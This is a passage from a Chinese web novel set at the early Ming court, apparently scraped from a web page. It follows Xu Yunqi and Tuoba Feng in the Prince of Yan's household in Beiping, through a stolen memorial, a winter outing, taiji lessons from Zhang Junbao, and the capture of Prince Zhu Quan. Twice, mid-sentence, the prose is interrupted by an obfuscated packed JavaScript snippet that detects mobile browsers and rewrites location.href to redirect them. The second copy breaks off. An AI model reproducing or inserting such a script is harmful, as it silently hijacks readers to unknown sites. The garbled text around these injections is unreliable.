三保扑哧一笑,答道:“我本就不知舅爷上了哪去,打死也说不出来的。” 云起笑了笑,转身面朝帐子顶,闭上双眼,伸手摸着心口的麒麟玉佩。 那时忽听院外极轻的“嗒”一声,三保瞬间有所察觉,伸手到枕下,刀出鞘的声响。 云起闭着眼道:“别慌,是我……嗯,认识的。三保你还会用刀?” 三保极低声答道:“我是回人。” 云起道:“你看看,是高个子不?” 三保将短弯刀藏在袖中,探头到窗边看了一眼,道:“是府里的朱锋,舅爷认识?” 云起略诧道:“你也知道他?” 三保答道:“他今年刚到府里,跟着王爷办事。” 云起“嗯”了一声,道:“三保,你……先出去一会儿成不?让他进来。” 三保应了,将弯刀收起,轻手轻脚地打开门,走出院外。 拓跋锋半身白衣胜雪,左肩却被信差的鲜血染得紫黑,躬身站在井边打水,见三保行出院外,漠然看了他一眼,不作声。 三保戒备地看着拓跋锋,走到一旁,自寻了个位置坐下。 拓跋锋提了桶水,脱下武斗袍与里衣裤,浸在桶里,继而朝花园里泼了。 云起听见房外泼水声,略蹙眉头。 拓跋锋又提了桶水,照胸膛浇下,来回几次,冲干净身上的血迹,侧头在手臂上闻了闻,这才赤着身子,推门进房。 拓跋锋毛手毛脚地掀开被子,伸手进去摸。 “?” 被子下还有一层被子。 “……” “信给姐夫了?”云起闭着眼,笑道。 拓跋锋吓了一跳,云起睁开眼,道:“咋这么害怕。” 拓跋锋道:“还嗅得到?方才你说话……与王妃好像……”说着又掀了掀云起身上被子,道:“怎盖这么多?” 云起无奈道:“姐让盖的。” “……” 拓跋锋赤条条地钻进被窝,吁了口气,抱着云起,忽道:“小时练琴那指法,你居然还记得。” 云起笑道:“当然。” 苏婉容曾教过云起弹古琴,那时云起尚小,双手分开够不着,小拓跋锋便自告奋勇在旁按弦,一人按,一人弹,相得其乐,倒也有模有样,苏婉容只觉这俩徒弟不是一般的逗趣,教了数月琴,热度过去,便扔着不管了。 云起与拓跋锋却还依稀记得指法,今夜揽翠楼上和弦并奏,便博了个满堂彩。 拓跋锋又饶有趣味道:“师哥现会吹笛子了,改天吹与你听。” 云起疲惫打了个呵欠,睡意袭来,拓跋锋又道:“北平好玩的地儿甚多,明天师哥带你出去玩。” “嗯……”云起迷迷糊糊答道。 拓跋锋却似是极其兴奋,絮絮叨叨说了一大通,宛若苍蝇在耳旁嗡嗡叫。 云起有一句没一句地应着,拓跋锋说了半天,终于紧张拉起云起的手,摩挲云起小手指上那玳瑁戒,声音略有点抖,低声说: “把这玩意扔了罢,师哥以后给你买个好的。” 云起“嗯”了一声,拓跋锋便朝外褪那戒指,褪得云起尾指微疼。 玳瑁戒被摘了下来,拓跋锋如释重负。 拓跋锋将戒指扣在指尖,朝外一弹,戒指登时击破窗纸,带着风声咻地射了出去,没了。 “再来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472500|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次?”拓跋锋低声道:“要么?” 云起困得要死,咬牙道:“别吵……” 拓跋锋捏了捏自己的耳朵,继而安心地抱着云起,满意地睡了。 玳瑁戒指撞上院墙,落地,发出微弱的声响。 三保蜷在墙边上,睡眼惺忪地看见那戒指,爬过去拾来,仔细看了看,继而将它收进怀里。 自从云起归家省亲,这北平王府就是注定不得安生的了。 日上三竿,数人大叫。 徐雯在房里抓狂道:“我的书呢——!” 云起在院里抓狂道:“我的戒指呢——!” 张昺在王府门口抓狂道:“昨夜信使遇刺——!让我见王妃!” 云起黑着脸,怒道:“你胆子忒大了,扔哪去了,说!” 拓跋锋面无表情道:“不懂你说甚劳什子。” 云起冷冷道:“为什么把戒指扔了,快从实招来。我说话从来不说第二遍。” 拓跋锋神色微动,问道:“什么?” 云起怒道:“我说话从来不说第二遍!” 拓跋锋点了点头,道:“哦。” 云起扑一声笑了出来,一腔火气烟消云散,只得恨恨道:“算了。” 那厢徐王妃正翻箱倒柜,查得鸡飞狗跳墙,朱棣又在花园里一伸一缩,跟着一只毛毛虫到处蠕动,云起领着拓跋锋,三保走出花园,眼看偌大一个王府乱糟糟,只觉欲哭无泪。 “舅爷!”一走进花园,管事便如得大赦,忙不迭地跟了上来,一面哭丧着脸道:“王妃看到一半的书没了,这正气头上……府门口又有布政使张老爷侯着……舅爷看这如何打点?” 云起伸脚踢了踢在地上蠕动过来的朱棣,让他转了个方向,朱棣朝池子蠕动过去。云起朝拓跋锋道:“你去帮我姐找书,我去见张老。” 云起刚到厅上,朝张昺拱手,张昺那表情活像吞了个苍蝇,是时又听府外长街一人唱道:“东西街,南北走——出门碰见人咬狗——” “……” 姚广孝来了。 云起招呼姚广孝一并坐了,又吩咐人上茶,张昺之子张勤与云起曾是同僚,辈分压着一头,云起不敢无礼,只道:“张老消消气,有话好说。” 张昺道:“昨夜信使携老夫亲笔手书出城,于北平城外不到十里处便被截住,更身受重伤,究竟是作何道理?!” “全北平夜间便唯有都指挥司使与燕王府上有印信,那杀手身佩长刀!肩上又被插了……” 姚广孝神色凝重,问:“插了什么?” 云起深吸一口气,问:“插了什么?” 张昺气不打一处来,从袖中取出一物,狠狠摔在地上! 那是一杆王府制造的长箭。 姚广孝与徐云起同声大笑,张昺脸色白转青,青转紫,只险些把胡子也揪掉,吼道:“有何好笑!” “哈哈哈哈——”姚广孝仰头笑了半天,方缓过劲儿来,道:“要杀人还留了把柄……” 云起续道:“有这般蠢笨的杀手,倒也是头一遭。” 张昺登时被这句话堵住。 云起静了片刻,而后道:“张老信上写的何事?你我同为钦差大臣,为何不与我商量后再遣送回京?” 姚广孝呵呵一笑,长袖一挽,转身负手,打量厅内字画。 张昺闭上眼,不答。 云起道:“黄太傅与张老说过何话?” 张昺倏然睁眼,冷冷道:“徐正使,依你看来,此案是何人所为?” 云起哂道:“自然是嫁祸,还会有什么原因?张老还是回都指挥司里瞅瞅是正经。” 张昺默不作声,云起又道:“此事取决于张老那封信的内容,张老若是聪明人,其中关窍,一想便知。如今朝廷上上下下,有多少人盯着北平这块地儿?你在信上透露的任何消息,俱有可能引起朝中各派系,以及诸藩王的不安……” 张昺叹了口气,道:“徐云起,我张家并非不知……不知感恩之人。” 云起颤声道:“勤哥儿写信回来了?” 张昺道:“谢徐正使给我张家留了后。”说着一撩袍襟,跪在云起面前。 云起忙上前去扶,孰料张昺却道:“然,忠义不能两全……” 云起听到这话时,便停了动作,望向张昺时的目光带了几分蔑视。 此刻,朱棣恰到好处地蠕动到水池边,扑通一声掉了进去。 “王爷寻短见拉——!”花园中婢女尖叫声传来。 云起讥讽道:“张老,云起当时该将你儿子脑袋割了领赏,再说句忠义不能两全。”说完这句,便冷喝道:“来人!送客!” 继而云起匆匆跑出花园,扑进水中,湿淋淋地将朱棣提了上来。 朱棣扑哧吐出一口水,把一件东西胡乱塞进云起怀里,接着开始大声学青蛙叫。 “呱咕——呱咕——”朱棣一跳一跳地走了。 云起捋顺了朱棣塞来的湿淋淋的纸,对着阳光小心展开。 纸分正反两面,正面墨迹化得模糊,依稀可辨字型: 燕王罹患疯病,赤身裸体,光天化日下行走于市,更食粪饮尿,种种癫狂之症,不容细表。 ——北平布政使张昺。 信纸反面浸湿后,则显出浅蓝色字迹来: 燕王装疯卖傻,城府极深;九月初十起,王府斥资购买刀剑,全城冶铁;火药,硝石大量循秘密渠道入城,恐有大患。 锦衣卫正使徐云起勾结包庇,暗藏祸心。 20. 况且成双 北平入冬,下起了第一场雪,雪下得正大,王府闭门谢客,朱棣也不装疯了,与徐雯围坐一炉,捧着本书,摇头晃脑给母老虎讲故事。 拓跋锋来了。 拓跋锋进来就走到朱棣面前,道:“给我一两银子。” 徐雯听书听到酣处,被打断窝了一肚子火,道:“没有。要干什么去!” 拓跋锋盯着朱棣伸进怀里掏钱那手,不答话,徐雯又道:“大个子事没做多少,吃得倒挺多,难怪我二弟养不起你……” 朱棣见贱内不满,不敢掏钱出来,道:“锋儿做什么去?先说说。” 拓跋锋道:“带云起出去玩,买吃的。” 徐雯一转眼珠子,道:“给罢。” 朱棣这才把银子递给拓跋锋,指指架子上,说:“围巾带着,仔细冷风吹了咳嗽。” 拓跋锋漠然去取围巾,徐雯又啐道:“没上没下的,要唤小舅爷……” 拓跋锋碎碎念道:“我才是上他才是下……” 徐雯瞬间炸毛,正要叉腰骂他,朱棣忙大声道:“且看那赵子龙一身银铠……” 徐雯注意力被吸引开,拓跋锋才提着围巾忙不迭逃了。 “得了一两银子。”拓跋锋说。 云起一身狐裘袍,戴了个兔绒帽,在门口等了半天,见拓跋锋来,道:“我姐夫也吝啬呢?你在他府里当差都大半年了,也不见给点月钱。” 拓跋锋答道:“欠他十二两呢,正折着月钱,到明年开春就还完了。” 拓跋锋展开长围巾,一面抖开一面道:“等还完了,月钱都给你……” 说着把围巾一半自己戴好,另一半在云起脖子上打了个死结,险些把云起勒得眼珠子掉出来,拖着他走了。 永定河穿北平城而过,时近岁末,农闲时分,全城霎是繁华,沿路茶馆中听书的,天桥下吹拉弹唱的,行人熙攘不绝。燕京八景之一的卢沟桥两侧,更是汇集了无数商旅,小贩。 拓跋锋拉着云起的手,二人十指交扣,握在一处,这两名俊秀男子携手而行,看在行人眼中却是十分暧昧。 然而拓跋锋习以为常,朝云起道:“那里有人捏面猴,你要不?” 一老人摆了个面人摊,竹架子上插了黄脸典韦,黑脸张飞,又有跪着的秦桧,意气风发的岳飞,栩栩如生。 云起站着看了一会,觉得十分好玩,道:“哎,大爷,照这高个子……”说着指了指拓跋锋。 “成!”那老人呵呵笑道,让拓跋锋站定,道:“两位小哥这都是一般的玉树临风……” 拓跋锋脸上微红,面无表情地站了一会,倏然转身,大步走开。 “哎——”云起脖子上围巾一紧,险些岔了气儿,叫唤道:“去哪!” 拓跋锋道:“银子找零。” “……” 拓跋锋拖着云起走开片刻,又拖着云起走回来,把铜钱朝摊子上扔了,道:“捏俩个在一起的。” “……” 云起哭笑不得,只得任由拓跋锋搭着他的肩膀站定,俩人傻乎乎地等了半天,脸上不住发烫,云起只觉周围无数诡异的目光落在二人身上。 到得那面人终于捏完,拓跋锋把小木棍插在云起帽沿上,拖着他走来走去。买了一包烤栗子,便坐到卢沟桥边的石栏上,道:“吃罢,坐师哥身上。” 云起道:“不成……这多少人看着呢。” 拓跋锋拉着云起,让他跨坐在自己腿上,二人面对面抱着,云起脸直红到脖子根,道:“有伤风化……” 拓跋锋又把云起的腰朝自己这边搂了搂,云起面红耳赤,心想反正自己没把脸朝街上,遭围观了也是拓跋锋的事,便只得任他胡来。 孰料拓跋锋更是直接,有人好奇打量时,便斥道:“看什么看。” 周围行人吓了一跳,忙匆匆走了,拓跋锋这才心满意足地伸出修长手指,掏了个栗子剥开,喂给云起。 云起红着脸,嚼着栗子,心不在焉地望向永定河边,只见那处一名算命先生挑着招幡,沿着河岸行来。 拓跋锋侧过头,循着云起目光望去,拾了枚栗子,咻地弹出去,把那算命先生打了个趔趄,道:“过来!” “……” 云起道:“你又要干嘛。” 那算命先生一眼所见,拓跋锋服饰华贵,心想便知是王府中人,不敢造次忙疾步上了卢沟桥。 拓跋锋摸了两钱银子给那算命先生,道:“说几句好话,钱给你。” 云起彻底败了。 算命先生一见碎银,登时心花怒放,忙道:“小哥气宇轩昂,乃是人中龙凤,不简单呐不简单!” “哦。”拓跋锋一本正经道:“小哥姻缘如何?” 算命先生道:“那是自然!天作之合,郎才女貌!” 拓跋锋扳着云起下巴,让他转过头来,与算命先生打了个照面。 “……” 那神棍满脑袋问号,云起剑眉入鬓,眉宇凛然,目若点星,很明显就是个雄的,然而话开了个头,圆也圆不住,只得硬着头皮道:“这个,姑娘眉清目秀……” “我是公的。”云起笑道。 拓跋锋拍了拍云起的脸,道:“母的。” “……” 云起咬牙切齿道:“公的!” 那算命先生背脊汗毛倒竖,赔笑道:“这样,小人给两位公子爷送个签,送张符……保你们……这个……要姻缘有姻缘,要财运有财运,我王半仙……” 说着赶紧解下捆在招幡上的竹筒,抽了张符出来,交给拓跋锋,拓跋锋道:“嗯,你走吧。” 云起笑道:“这啥怪玩意儿给我也看看……” 拓跋锋展开那符一看,道:“破纸儿,你也有一张。” 说着探指到云起脖颈处,抽了那贴身布包出来,拆开取来符咒,两张一模一样,只是一张崭新,另一张则因年代久远而朱砂褪色,泛着灰黄。 忽然间,一洪亮声音在云起背后响起: “那张破纸儿乃是佛家符录‘呼风唤雨符’,可别随便扔了。” 拓跋锋与云起不约而同地微微蹙眉。 只见一名年逾古稀的老道士不知何时出现,须发花白,面色红润。 听那声音中气十足,老道士竟是修行中人,不知活了多少岁,隐有返老还童的面相。老道士一身邋邋遢遢,道袍油腻,背负一把长剑,头戴七星道冠,笑看着徐云起与拓跋锋。 云起忙按着围巾转过身,道:“老人家怎么称呼?” 老道士打了个稽首,笑道:“贫道姓张,借问小哥们声……燕王府如何走?” 朱棣结交甚泛,北平三教九流俱知燕王礼贤下士,遂纷纷来投,燕王妃徐雯对朱棣钱财管得严,对前来打秋风的客人却十分大方。曾有段时日燕王府门庭若市,街头巷尾对朱棣称赞不绝,便是徐雯打点的脸面。 说到僧道,姚广孝是其中最好的例子,此刻这老道士问路,云起倒也不作他想,更不知邋遢道人张君宝是何等人物,随手指了个方向,便让他自去。 天色渐晚,小雪细细碎碎地下着,拓跋锋依旧抱着云起不放手,两人拥着坐在桥栏上,小声说了会情话,拓跋锋忽道:“你别走。” 那没头没脑的一句,也唯有云起才晓得其中深意。 云起微叹了声,答道:“蒋师在南京,师娘还救过你的命,荣庆那一班子弟兄也等着,这些事情怎能说放下就放下?不提允炆也罢了,旁的人却不能不管。” 拓跋锋淡淡道:“你写封信回去,让荣庆当狗腿子的头。” 云起哭笑不得道:“你想得太简单了。” 若云起不回南京,此事决计难以善罢,只恐怕追究起来,整个锦衣卫体系,就连蒋瓛亦要背上黑锅。更怕允炆一怒之下便要出兵讨伐朱棣,如此燕王变得更被动,云起知道,无论如何自己也得回去的。 云起正思考间,拓跋锋却漠然道:“既然要回去,师哥说不得与你约个事儿。” “咱都是有主子的人。”拓跋锋低声认真道:“锦衣卫一向呆在南京,护着皇上,不需出征,也不需打仗,倒是不怕两军打起来伤了你。” “但万一王爷真要打起来……” 云起心中一动,伸出尾指,与拓跋锋手指勾在一处,扯了扯,拓跋锋笑了起来,道:“你不能拼命。” 云起“嗯”了声,拓跋锋又道:“我也不拼命,你主子若败了,你便在御花园里的假山后头等师哥。” 云起笑道:“成,你主子若是败了……你得想法子护着他与我姐……嗯……” 拓跋锋接口道:“我带他俩在克鲁伦河等你。” 云起忍俊不禁道:“你真有这本事?” 拓跋锋点头道:“包师哥身上,你回京也得想法子,不削藩是最好,若削了,也没啥,别往心上去。” 云起微笑道:“尽人事……” 拓跋锋点头道:“听天命。” 那一瞬间,压在云起心头上的迷雾终于豁然开朗,随波逐流,大时代中身不由己的无力感,就在拓跋锋的这么一个约定下烟消云散。 来北平之前,自己可谓是在万丈深渊上走钢丝,然而从现在起,终于踏上了安全的平地。 纵使这朝廷风云变幻,龙椅上天子改换,一切都抵不过他们勾在一处的手指,他相信拓跋锋,拓跋锋也相信他,那是从小彼此相伴而培养出的一种默契。 “师哥,这个给你。”云起解下脖上的小布包,取出玉佩,将符纸递给拓跋锋,自己则留下了玉佩。 拓跋锋笑了起来,道:“破纸儿。回家吃饭罢,饿了。” 进了王府内,却发现下午问路那老道人竟是朱棣座上宾,徐雯引着云起,执后辈礼恭敬拜了。又吩咐人开席,酒宴间张老道与朱棣把盏所谈,俱是前朝之事,言及陈友谅,韩林儿等朱元璋起兵时期往事,听得云起暗自狐疑。 这老家伙究竟多少岁了? 朱棣再三挽留张老道住下,邋遢道人欣然一笑,便答应在王府中盘桓数日。 翌日清晨,鸡啼时分,云起睡醒时下意识地翻了个身,要将脚搭在拓跋锋腰上,却搭了个空。 揉了揉眼坐起,炭炉烧得正红旺,床头瓶儿里插了根香气四溢的腊梅,房外传来张老道洪亮之声。 “手挥琵琶!” 拓跋锋漠然道:“手挥琵琶……” 徐雯、朱棣拖长了声调,和应道:“手挥琵琶——” 云起莞尔起身,穿好衣服出门一看,险些一个趔趄摔在雪地里。 老妖怪啊啊啊!! 张老道打着赤膊,现出白皙肩背,一身健壮肌肉与年轻人无异,背对云起,双臂抱圆,须发翕动,沉声道:“两仪四象,生生轮转……” 拓跋锋打着赤膊,侍卫服袖子在腰间系了个结搭着,露出古铜色的赤裸肩背,两脚扎马步,手肘画圆,跟着张老道练拳。 朱棣也打着赤膊,脖颈肩背遭冻得发红,猴儿似的探头探脑,见张老道那拳法极慢,使了个金鸡独立,哒哒哒道:“真人,冒昧问声……拳慢到这份儿上,怎打人?” 张真人一笑置之。 徐雯也……徐雯没打赤膊,穿一身武斗服,盈盈笑道:“弟起来拉?来跟张真人学太极拳。” 张真人自顾自地使拳,脚下腾挪,拳式如行云流水,无迹可寻,云起看了一会,站在拓跋锋身后,学了起来。 这定是极高深的武功!云起刚跟到“野马分鬃”那式时发现体内真气周天运转,隐约切合万物化生的太极之型,便暗自心惊,当即发挥强记能力,将张真人教授拳法一丝不苟记下。 “云手……” 拓跋锋摇头晃脑,跟着张真人笨拙学了起来。 徐雯是最先觉得无聊的,刚学到“双峰贯耳”便讪讪道:“老娘……我去看看早饭。”于是蹑手蹑脚逃了。 张真人眯着眼,继续教拳,朱棣又看了一会,也道:“我也去……看看早饭。”说完也逃了。 张真人揽雀尾转搬拦锤,海底针、如封似闭,十字手,一气呵成使出,一招一式,看在云起眼中,俱是妙不可言。 “收势。”万物归于掌心,天地合于眼底,张真人并足站定。 云起却凝在双手下压的瞬间,只叹来得太晚,未及窥见前几式,只得稍后再让拓跋锋演示一遍。 木头似的呆子也不知记不记得住,这种高深武学,可惜了。 张真人微笑转身,穿上道袍,三人站在雪地里,俱是一身发热,云起道:“这叫太极拳?” 张真人点了点头,笑道:“且问你二人,记了几成?” 云起微一沉吟,便道:“自手挥琵琶起始,至十字手。二十一式。” 张真人莞尔不语,又问:“拓跋小哥呢?” 拓跋锋茫然想了想,答道:“忘光了。” 张真人大笑,云起尴尬无比,道:“真人再使次?云起方才见这太极拳精妙得紧……” 张真人拍了拍拓跋锋肩膀,道:“很好,你学会了。”说完又对着云起,指了指拓跋锋,道:“问他便是。”便转身离院。 “……” 云起哭笑不得道:“你不是都忘了么?” 拓跋锋莫名其妙道:“好像忘了,又好像记了点……” 张真人走后,拓跋锋歪着脑袋,想了半天,试着演出太极拳,那招式与张真人所教浑然是牛头不对马嘴,没一招对得上号,然而拳意却是隐隐切合两仪轮转的真谛。 云起看得傻了眼,道:“不会罢!这也成?!” 年关将近,张老道在王府里一住便是半个月。 年三十转眼便到,王府前门谢客,后院杀猪宰羊蒸年糕,预备过年。 起遭到嫌弃,于是不乐意了,去找徐雯哭诉了。 徐雯却是一副忧郁得蛋疼的表情,挽着水袖,立于王府后院里。对着稀稀落落的箱,匣等物,又有竹篓,木筐横七竖八摆了一地,显是刚从车上卸下的岁贡等物。 云起酝酿了片刻情绪,“呜哇”一声,扑向徐雯,道:“姐——!那老道士欺负我——!” 徐雯哭笑不得道:“别闹了,来帮姐点年礼,单子上头有的,对着勾了。” 云起下牙咬着上人中,接过礼单,道:“东山老参十斤、海鲍一箱,活鹿四对,鹿舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云起从未见过此人,却有股难以言喻的熟悉感,究竟是谁? 那男子头上竟是极其名贵的黑貂帽,此刻一整束身华袍,笑道:“大起大落俱是命中使然,老天欲让人分清谁是挚友,谁是墙头草,谁又是亲人,你因增寿之事,迁怒于云起,又有何益?” 云起忙笑道:“没有的事儿,我跟大姐时常就这么说话来着。对吧,姐。” 徐雯挑眉道:“我姐弟说话你插甚嘴?我将云起一把屎一把尿拉扯大,说他几句还不行了……” 云起:“……” 那男子哂道:“云起是你拉扯大的?我咋不知道?不是自小便进宫吃的皇粮?” 徐雯一时语塞,挥手道:“去去,别在这凑热闹,你四哥在房里躺着呢。自瞧他去。” 那男子点了点头,摘下头上貂尾帽,手指顶着,漫不经心地晃着圈,转身时又分说道:“本不是来打岔,只绕过来说一声,我捎给四哥进补的那盒虫草,须得仔细收在干燥通风的地儿。” 徐雯嗔道:“嫂子还没吃过虫草不成,用你教。” 那男子随意笑道:“知道四嫂吃过,不过白提醒着。”说毕便转了身,自朝后院去了。 云起见此人与燕王府熟得不得了,竟是如在自己家中一般,又丝毫不见徐雯与其客套,便狐疑道:“那人是谁?明明没见过,咋这般眼熟?” 徐雯拆着大红箱儿上那封条,漫不经心道:“宁王爷。” 云起登时抽了口气,他终于知道为何宁王朱权看上去眼熟了,原是带着朱允炆的几分模样,那眉眼间的儒雅之色,简直是如出一辙。 徐雯打趣道:“看上去像个读书人不是?” 云起在思考中点了点头。 徐雯又道:“别小看他,那家伙打仗厉害得很,连你姐夫也不是他对手。” 云起诧道:“有那么厉害?朝中不是都道宁王爷借着朵颜三卫的兵力,才镇得住会州?” 徐雯道:“当然不是,宁王曾经拜过咱爹当师父,那时你还小,被送了去南京当小锦衣卫,这童养媳锦衣卫当起来够磕碜的……” “行了!姐!” 徐雯心情好了不少,笑道“说起来他和咱家倒也熟稔,你得空不妨多与他学学。这回他来,估摸着也是听了削藩那动静,须得与你姐夫参详好一段时日了。” 云起“嗯”了一声,点完礼物,伸手让徐雯搭着,二人把那礼单随手扔了,便朝前厅走去。 忽见朱棣在厅外探头探脑,云起与徐雯脸色登时变得极其古怪,徐雯压低了声音怒斥道“不去陪着客人,在厅外看什么?” 朱棣连打手势,嘘声道:“过来!你们来!” “……” 云起哭笑不得道:“他常这样么?” 徐雯答道:“别理他,又犯浑了。” 朱棣咬牙切齿道:“要紧事!快来!夫人回去,没你的事儿!” 云起只得过去,朝厅中看了一眼,见前来做客的宁王朱权正端着一个杯具,仔细端详那兔毫盏上的纹理。 “你又想干嘛?” 朱棣在院外蹲着,不放心地打量厅内那掩上的门,朝拓跋锋招手,道:“张真人呢?喊他也来,有正事儿求他帮忙。” 拓跋锋道:“师父睡午觉,你别吵。” 朱棣舔了舔嘴唇,忽见院后等着服侍云起的小厮,记起这人武功也不错,便招呼道:“你叫三保是罢,你也来。” 于是朱棣,云起,拓跋锋,马三保,匪徒四人,在院里蹲了个圈,围在一处。 朱棣小声道:“帮王爷个事儿,咱四人合计,夫人就别搀和进来了,危险。” 拓跋锋正蹲着,一听“危险”二字,警觉地竖起耳朵,把莫名其妙的云起拨拉到身后,道:“什么事,让我去。” 朱棣道:“你一个人也不成,那小子功夫厉害得很,下迷药在茶里他也不喝……你们在院子里等着,待我掷杯为号!你们仨就一马当先冲进来!” 朱棣唾沫横飞,指点江山道:“云起箍他手臂,锋儿搂他的腰,我抱他大腿,三保拿椅子拍他后脑勺,说好了!别坏事!待会成了,一人发五钱银子辛苦费!” 云起犹如遭了天打雷劈,惴惴问道:“你说……那小子是谁?你要害宁王……害你十七弟?!” 朱棣煞有介事道:“什么害不害的!良禽择木而栖!算了,说这个你也不懂,听我发话就是了。” 云起两眼如同蚊香般猛转圈圈,一时间只觉脑海中一片空白,朱棣又道:“老十七功夫都跟你爹学的,你那什么爹……教出来的徒弟这般难收拾……好了就这样!我进去了啊,你们耳朵竖着点。” 朱棣起身,拓跋锋将他衣袖扯住,道:“二两。” 朱棣哭丧着脸道:“钱都让王妃管着呢,绕了我罢,前儿才给了你一两。” 拓跋锋冷冷道:“市场价。” 云起一惊一乍,情绪已混乱至极,此刻想也不想,只知要帮着拓跋锋,便开口道:“二两,不然喊了啊。” 朱棣忙不迭道:“行!别喊!二两就二两。”拓跋锋这才松了手,朱棣便把脸一抹,瞬间切换到热情好客模式,转身大笑道:“唉你嫂子这是,饭还没吩咐下去……”说毕推门而入。 拓跋锋低声道:“待会师哥走前面,你跟后面,我们冲进去!” 云起茫然点头,那时间只听厅内哐当一声,杯具碎了。 拓跋锋便长身立起,释放出一身的杀气,如同大将军般况且况且地一马当先,冲进了客厅,欲知后事如何,且听下回分解。 21. 围殴之局 话说朱棣进了厅,见朱权优雅地三指掂着那兔毫盏,对着一缕日光仔细端详。 那兔毫盏周身晶莹剔透,蓝瓷衬着碎纹,朱权啧啧称赞,见朱棣来了,道:“四哥府上东西还是一般的讲究。” “孩——”朱棣手臂一长,顺手拈来那杯具,随手朝后一扔,道:“地摊上买的小破烂,不值一哂!” 朱权优雅地双眼突出,不会吧。 杯具落地,发出一声脆响。 朱权:“……” 大门轰然洞开!走狗纷纷涌入! “儿郎们!给我抓活的!”朱棣面目狰狞,大笑道。 朱权慌忙起身大叫:“四哥这是要做什么!” 拓跋锋一个鱼跃,扑向朱权,朱权却是纵身一闪,犹如油浸泥鳅,滑不溜手,拓跋锋竟没扑住! “当心!”云起这一惊非同小可,拓跋锋“恶狗吃那个什么”的姿势虽然不雅,然而那却是倾注其毕生功力的一扑!纵观全南京禁卫二十二队,武技及得上拓跋锋的不过寥寥一二人,朱权竟是能躲了开去,这是什么概念?! 云起一见便知朱权是练家子,忙吩咐道:“三保守住厅门!” 那时间朱权左闪右突,一身束腰王服袍襟荡开,犹如分花拂柳,辨其影不观其型,朱棣与拓跋锋同时伸手去捉,却又堪堪被其闪过,连袍带都摸不着个边,好俊的功夫! “这小子功夫了得,别让他跑了!”朱棣吼道。 云起拓跋锋一听这话,便知朱权定是知道了朱棣的某些秘密,又不愿同流合污,当下心头一惊,三人抓一人,逾发拼命。 朱权踏着矮几,飞身跃过,一面道:“四哥何苦如此?小弟回会州后定不与朝廷互通消息……” 朱棣直斥道:“覆巢之下,焉有完卵?老六,老九俱收到朝廷削藩的消息……” 云起甩手抛出蝉翼刀,冰蚕丝线反射出明亮的日光。 拓跋锋一个扫堂腿,翻身直踹朱权落地之处! “皇孙……皇上此举定有深意,纵是削藩交出军权,还能让你我闲置不成……” 朱权一面道,单脚于圆桌上一点,借力斜斜掠了开去。 “好!”拓跋锋忍不住一声喝彩。 “失心疯了你,长他人志气!扣钱!”朱棣怒道:“自然不会闲置!胡乱寻个由头将你我处死而已!你以为允炆是那般好相与货色……” “四哥!恕小弟无法……” 朱权逼近厅门! 马三保操起条凳,舞得呼呼生风! 朱权漂亮至极地觑见可趁之机,条凳扫过来时,在末端使力一跃,两手护头,哗啦一声将木窗撞得破碎,横掠出去! 朱棣喝道:“坏事了!快追!” 四名高手竟是留不住一个轻功炉火纯青的小王爷,云起暗叹轻敌,跟着跃出花园那瞬,却窥见朱权没命奔逃,一边回头张望,不防却直撞向打着呵欠,刚睡醒的张老道。 朱棣忙喊道:“真人留住他!” 朱权这才惶急转头,发现面前多了一老不死,忙喝道:“让路!”说着便抬手食中二指去、插张老道双目。 “??”张老道莫名其妙,反手抽出腰际木剑。 云起停步,松了口气,道:“他完了。” 拓跋锋表示同意。 说时迟那时快,眼看朱权整个人即将撞上张老道,却迎上一柄抬手即断的木剑! 木剑轻旋,妙到巅峰地划了个圈,将粘不粘,将离不离,虚虚绞上了朱权的手臂!朱权大惊,抽身后退时却觉置身一片泥泞般的粘稠气劲中,不禁呼吸一窒。 张老道剑势浑然天成,避无可避!那时间木剑一送,朱权登时大叫一声,被那剑身拍在腰间,横飞出去! 狗腿三人组登时迎上来,将朱权牢牢按在地上,所幸朱权轻功盖世,滑不溜手,硬功却是不强,一被抓住,唯有束手待死的命。 朱棣谄笑道:“多亏真人了!多亏真人。” 张老道拱手谦让一番,转身回房,朱权就这么彻底成了一个大杯具。 朱棣发钱,拓跋锋道:“四两。” 朱棣:“……” 拓跋锋道:“师父的辛苦费也有二两。” 朱棣抓狂地找徐雯领来前,恶狠狠地塞给其余三人,拓跋锋道:“喏,云起,给你。”继而把钱都交给云起。 云起正好笑间,见马三保神情忐忑,忙好言道:“三保你的自己留着。”于是四人欢天喜地散了,朱棣将五花大绑的朱权抗在肩上,送去小院子里关着不提。 云起走开好一会儿才醒悟过来,朱棣软禁自己的亲弟弟要做什么?正寻到朱棣逼问,朱棣仿佛什么事也没发生过一般,任凭云起再三追问,只打着哈哈道不知,并承诺一定不会杀他,过完元宵便放他走。 云起满腹狐疑地看了朱棣一会儿,既承诺了年后放人,也只得作罢。 年关临近,徐雯张罗府中大小过年事宜,又打发了不少下人回家,云起便只得帮着手,数日后便是年三十,三牲摆上,更以朱元璋钦赐藩王玉册供在案头。香烛燃起,朱棣便带着一家大小祭祖。 虽说是一家,然而云起乃是外弟,这祖先是与其无关的。 朱棣站了首位,身后则是义子拓跋锋,而后才是两名儿子,朱高炽与朱高煦。这等于是公开承认了拓跋锋的身份,再不惧数年前谋害皇孙一事的干系了。 云起在厅外看了一会,心中隐约有些不安,等开年夜饭等得无聊,便踱出祀堂外,朝后院走去。 先去敲张老道房门,却不听应答,推门进去,见房内空空荡荡,张真人竟是在大年夜走了。 云起扫视房内一眼,见桌上放着一柄剑,木剑下压着张纸条,纸条下又有一封信。 此剑乃是我武当派之物,名唤‘七星’,赠予锋儿,信予云儿,以告昔年天德将军一面之缘。 云起提了钝剑,那正是张真人背上负着,从不离身之物,材料非金非石,看上去也没甚稀奇。剑身刻了七枚暗星,正是天罡北斗之阵,剑柄又刻三字:张君宝。 